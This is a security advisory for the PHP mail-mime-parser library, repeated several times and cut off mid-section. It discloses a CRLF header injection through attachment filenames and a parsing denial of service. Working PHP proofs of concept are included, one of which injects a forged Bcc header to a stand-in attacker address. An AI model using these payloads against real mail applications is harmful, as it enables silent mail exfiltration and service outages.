zbateson/mail-mime-parser

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

